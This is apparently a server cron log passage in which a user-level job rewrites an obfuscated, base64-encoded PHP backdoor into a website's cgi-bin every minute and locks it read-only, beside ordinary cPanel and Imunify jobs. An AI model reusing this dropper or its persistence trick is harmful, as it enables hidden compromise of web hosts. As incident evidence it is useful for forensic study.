"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:37:01 server CROND[20184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:37:01 server CROND[20185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:37:01 server CROND[20186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:38:01 server CROND[20562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:38:01 server CROND[20563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:38:01 server CROND[20564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:39:01 server CROND[21065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:39:01 server CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 04:39:01 server CROND[21067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:39:01 server CROND[21068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:40:01 server CROND[21464]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:40:01 server CROND[21467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:40:01 server CROND[21468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:40:01 server CROND[21469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:40:01 server CROND[21470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:40:01 server CROND[21473]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:40:01 server CROND[21472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:40:01 server CROND[21471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:41:01 server CROND[22311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:41:01 server CROND[22310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:41:01 server CROND[22312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:42:01 server CROND[22693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:42:01 server CROND[22694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:42:01 server CROND[22695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:42:01 server CROND[22696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:43:01 server CROND[23241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:43:01 server CROND[23242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:43:01 server CROND[23243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:44:01 server CROND[23726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:44:01 server CROND[23727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:44:01 server CROND[23728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:45:01 server CROND[24126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:45:01 server CROND[24128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:45:01 server CROND[24130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:45:01 server CROND[24132]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:45:01 server CROND[24129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:45:01 server CROND[24133]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:45:01 server CROND[24131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:46:01 server CROND[24963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:46:01 server CROND[24964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:46:01 server CROND[24965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:47:01 server CROND[25350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:47:01 server CROND[25351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:47:01 server CROND[25352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:48:01 server CROND[25734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
